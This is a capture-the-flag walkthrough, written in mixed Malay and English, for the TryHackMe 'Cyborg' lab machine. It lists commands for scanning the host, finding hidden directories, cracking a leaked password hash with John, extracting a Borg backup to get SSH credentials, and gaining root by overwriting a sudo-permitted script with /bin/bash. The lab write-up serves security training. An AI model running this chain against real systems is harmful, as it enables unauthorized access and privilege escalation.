Link room : https://tryhackme.com/room/cyborgt8
Seperti biasa, kita mulakan dengan 'port scan' ke atas host menggunakan nmap.Β
nmap -sV -A 10.10.142.172 . Dengan menggunakan -sV & -A, mungkin dapat mengenal pasti kelemahan target & versi info yang berkaitan.Β
Jawapan kepada 3 soalan yang pertama boleh didapati di sini.Β
Kita cuba masuk ke http://10.10.142.172 tapi hanya web biasa Apache dan tiada apa yang menarik di 'Source Code'
Kemudian, kita cuba gunakan gobuster scan dengan 'wordlist common.txt' untuk mencari directories yang tersembunyi.Β
gobuster dir -u http://10.10.142.172 -w /usr/share/wordlists/dirb/common.txt
Ada 2 URL yang menarik. Try to open them and see.
Kita cuba buka squid folder and we found password hash. Copy the hash and create a file under hash.txt untuk kita crack menggunakan John.
Create file menggunakan command echoΒ
echo '$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.' > hash.txt
Crack the password menggunakan john by using the hash
john hash.txt --wordlist=rockyou.txt
We found the password. But nak gunakan di mana?
Cuba download archive folder dan check. Nice!!!! We found borg. Therefore files are backup and created by borg.Β
Boleh install borg sudo apt install borgbackup -y
Kemudian, we can list our findings menggunakan command borg list home/field/dev/final_archive. Follow by :
mkdir unpacked
borg mount home/field/dev/final_archive unpacked
dont forget to enter what we found just now!!!!
Now , all sudah unpacked..we can check all the files and guess what we found ? Password for user Alex
So, try to connect via ssh with ssh alex@10.10.117.160. Check semua yang perlu.Β
Seems like Alex adalah root user jadi we can edit anything in there. Run these command :
sudo -l
chmod 777 /etc/mp3backups/backup.sh
echo "/bin/bash" > /etc/mp3backups/backup.sh
Β sudo /etc/mp3backups/backup.sh
and YES!! Root!!